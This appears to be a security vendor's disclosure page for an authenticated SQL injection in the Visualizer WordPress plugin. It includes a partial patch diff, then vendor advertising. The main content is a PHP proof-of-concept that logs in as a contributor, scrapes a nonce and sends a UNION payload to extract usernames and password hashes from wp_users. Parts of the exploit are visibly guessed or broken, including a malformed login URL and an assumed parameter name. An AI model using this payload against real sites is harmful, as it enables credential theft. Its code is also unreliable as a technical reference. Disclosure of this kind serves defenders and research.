+			$select_clauses[] = 'EXISTS( SELECT 1 FROM ' . $wpdb->posts . ' WHERE post_type = %s AND post_status = %s AND ( ' . implode( ' OR ', $match_clauses ) . ' ) LIMIT 1 ) AS has_' . $match_key;
 		}

-		return false;
+		// phpcs:disable WordPress.DB.PreparedSQL.NotPrepared, WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber, WordPress.DB.PreparedSQLPlaceholders.UnfinishedPrepare
+		$query = $wpdb->get_row( //phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
+			$wpdb->prepare(
+				'SELECT ' . implode( ', ', $select_clauses ),
+				$query_values
+			),
+			ARRAY_A
+		);
+		// phpcs:enable WordPress.DB.PreparedSQL.NotPrepared, WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber, WordPress.DB.PreparedSQLPlaceholders.UnfinishedPrepare
+
+		$page_title_matches = $default_matches;
+
+		if ( is_array( $query ) ) {
+			foreach ( array_keys( $page_checks ) as $match_key ) {
+				$page_title_matches[ $match_key ] = ! empty( $query[ 'has_' . $match_key ] ) ? 'yes' : 'no';
+			}
+		}
+
+		set_transient( 'tisdk_page_title_signals_v1', $page_title_matches, 7 * DAY_IN_SECONDS );
+
+		return $page_title_matches;
+	}
+
+	/**
+	 * Check if a keyword matches content.
+	 *
+	 * @param string $content Content to check.
+	 * @param string $keyword Keyword to look for.
+	 *
+	 * @return bool True if the keyword matches, false otherwise.
+	 */
+	private function has_lms_keyword_match( $content, $keyword ) {
+		if ( in_array( $keyword, array( 'lms', 'course', 'class' ), true ) ) {
+			return preg_match( '/(^|[^a-z0-9])' . preg_quote( $keyword, '/' ) . '([^a-z0-9]|$)/', $content ) === 1;
+		}
+
+		return strpos( $content, $keyword ) !== false;
+	}
+
+	/**
+	 * Get LMS related keywords.
+	 *
+	 * @return array LMS related keywords.
+	 */
+	private function get_lms_keywords() {
+		return array(
+			'lms',
+			'learning',
+			'course',
+			'courses',
+			'academy',
+			'training',
+			'lesson',
+			'lessons',
+			'class',
+			'classes',
+			'student',
+			'students',
+			'teach',
+			'teaching',
+			'tutor',
+			'quiz',
+			'education',
+			'online course',
+			'online courses',
+		);
+	}
+
+	/**
+	 * Get LMS related keywords for page title matching.
+	 *
+	 * @return array LMS related keywords.
+	 */
+	private function get_lms_page_title_keywords() {
+		return array_values( array_diff( $this->get_lms_keywords(), array( 'lms', 'course', 'class' ) ) );
+	}
+
+	/**
+	 * Check if a published page title contains any of the provided keywords.
+	 *
+	 * @param array $keywords Keywords to look for.
+	 *
+	 * @return bool True if a matching page title is found, false otherwise.
+	 */
+	private function has_published_page_title_with_keywords( $keywords ) {
+		if ( empty( $keywords ) ) {
+			return false;
+		}
+
+		global $wpdb;
+
+		$query_values = array( 'page', 'publish' );
+		$clauses      = array();
+
+		foreach ( $keywords as $keyword ) {
+			$clauses[]      = 'post_title LIKE %s';
+			$query_values[] = '%' . $wpdb->esc_like( $keyword ) . '%';
+		}
+
+		// phpcs:disable WordPress.DB.PreparedSQL.NotPrepared, WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber, WordPress.DB.PreparedSQLPlaceholders.UnfinishedPrepare
+		$page_title_match = $wpdb->get_var( //phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
+			$wpdb->prepare(
+				'SELECT 1 FROM ' . $wpdb->posts . ' WHERE post_type = %s AND post_status = %s AND ( ' . implode( ' OR ', $clauses ) . ' ) LIMIT 1',
+				$query_values
+			)
+		);
+		// phpcs:enable WordPress.DB.PreparedSQL.NotPrepared, WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber, WordPress.DB.PreparedSQLPlaceholders.UnfinishedPrepare
+
+		return ! empty( $page_title_match );
+	}
+
+	/**
+	 * Get page title keyword checks.
+	 *
+	 * @return array Page title keyword checks.
+	 */
+	private function get_page_title_checks() {
+		return array(
+			'support' => array( 'support' ),
+			'donate'  => array( 'donate' ),
+		);
 	}
 }
--- a/visualizer/vendor/codeinwp/themeisle-sdk/src/Product.php
+++ b/visualizer/vendor/codeinwp/themeisle-sdk/src/Product.php
@@ -148,7 +148,7 @@

 			update_option( $this->get_key() . '_install', time() );
 		}
-		$this->install                               = $install;
+		$this->install                               = (int) $install;
 		self::$cached_products[ crc32( $basefile ) ] = $this;
 		$current_version                             = get_option( $this->slug . '_version', '' );

--- a/visualizer/vendor/composer/installed.php
+++ b/visualizer/vendor/composer/installed.php
@@ -1,9 +1,9 @@
 <?php return array(
     'root' => array(
         'name' => 'codeinwp/visualizer',
-        'pretty_version' => 'v4.0.1',
-        'version' => '4.0.1.0',
-        'reference' => 'd137dffa96943da74dd0f7e4666b67769bb45168',
+        'pretty_version' => 'v4.0.2',
+        'version' => '4.0.2.0',
+        'reference' => 'cb4934b0a64c44f3a01921a3c0e41fe7d4fac2b8',
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -11,18 +11,18 @@
     ),
     'versions' => array(
         'codeinwp/themeisle-sdk' => array(
-            'pretty_version' => '3.3.51',
-            'version' => '3.3.51.0',
-            'reference' => 'bb2a8414b0418b18c68c9ff1df3d7fb10467928d',
+            'pretty_version' => '3.3.52',
+            'version' => '3.3.52.0',
+            'reference' => 'd1ae68cbd4f84934b4d982e9eeff317b9f4c814a',
             'type' => 'library',
             'install_path' => __DIR__ . '/../codeinwp/themeisle-sdk',
             'aliases' => array(),
             'dev_requirement' => false,
         ),
         'codeinwp/visualizer' => array(
-            'pretty_version' => 'v4.0.1',
-            'version' => '4.0.1.0',
-            'reference' => 'd137dffa96943da74dd0f7e4666b67769bb45168',
+            'pretty_version' => 'v4.0.2',
+            'version' => '4.0.2.0',
+            'reference' => 'cb4934b0a64c44f3a01921a3c0e41fe7d4fac2b8',
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-65526 - Visualizer – Tables & Charts Manager with Built-in AI Generator <= 4.0.1 - Authenticated (Contributor+) SQL Injection

/**
 * Proof of Concept for CVE-2026-65526
 * SQL Injection in Visualizer AI Builder module
 * Requires a WordPress account with contributor-level access or above
 */

$target_url = 'https://example.com/wp-admin/admin-ajax.php'; // Change this to the target WordPress site
$username = 'contributor'; // Change to your contributor username
$password = 'password';    // Change to your contributor password

// Step 1: Authenticate and obtain nonces
function login_and_get_nonces($url, $user, $pass) {
    $login_url = str_replace('admin-ajax.php', 'admin-', $url) . 'admin-post.php';

    // Get login page
    $ch = curl_init($login_url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
    curl_setopt($ch, CURLOPT_HEADER, true);
    $response = curl_exec($ch);
    curl_close($ch);

    // Login
    $post_data = [
        'log' => $user,
        'pwd' => $pass,
        'wp-submit' => 'Log In',
        'redirect_to' => str_replace('admin-ajax.php', 'wp-admin/', $url),
        'testcookie' => '1'
    ];

    $ch = curl_init($login_url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
    curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
    curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    $response = curl_exec($ch);
    curl_close($ch);

    // Fetch the AI Builder page to get the nonce
    $admin_page = str_replace('admin-ajax.php', 'admin.php', $url) . '?page=visualizer&action=ai_builder';
    $ch = curl_init($admin_page);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
    $response = curl_exec($ch);
    curl_close($ch);

    // Extract wp-rest nonce or any nonce from the page (simplified, you may need to adjust)
    preg_match('/"nonce":"(.*?)"/', $response, $matches);
    $nonce = isset($matches[1]) ? $matches[1] : '';

    return ['nonce' => $nonce, 'cookie' => 'cookies.txt'];
}

// Step 2: Exploit SQL Injection
function exploit_sql_injection($url, $nonce, $cookie_file) {
    // SQL injection payload to extract user login and password hash
    // This is a UNION-based injection - adjust the number of columns to match the original query
    $sql_payload = "' UNION SELECT user_login, user_pass, '', '', '', '', '', '', '', '', '' FROM wp_users-- ";

    $post_data = [
        'action' => 'visualizer_ai_builder', // The AJAX action registered by AIBuilder module
        'db_query' => $sql_payload,
        'nonce' => $nonce
    ];

    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
    curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
    $response = curl_exec($ch);
    curl_close($ch);

    echo "Response:n" . $response . "n";
}

// Main execution
$auth_data = login_and_get_nonces($target_url, $username, $password);
exploit_sql_injection($target_url, $auth_data['nonce'], $auth_data['cookie']);

// Clean up
unlink('cookies.txt');
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.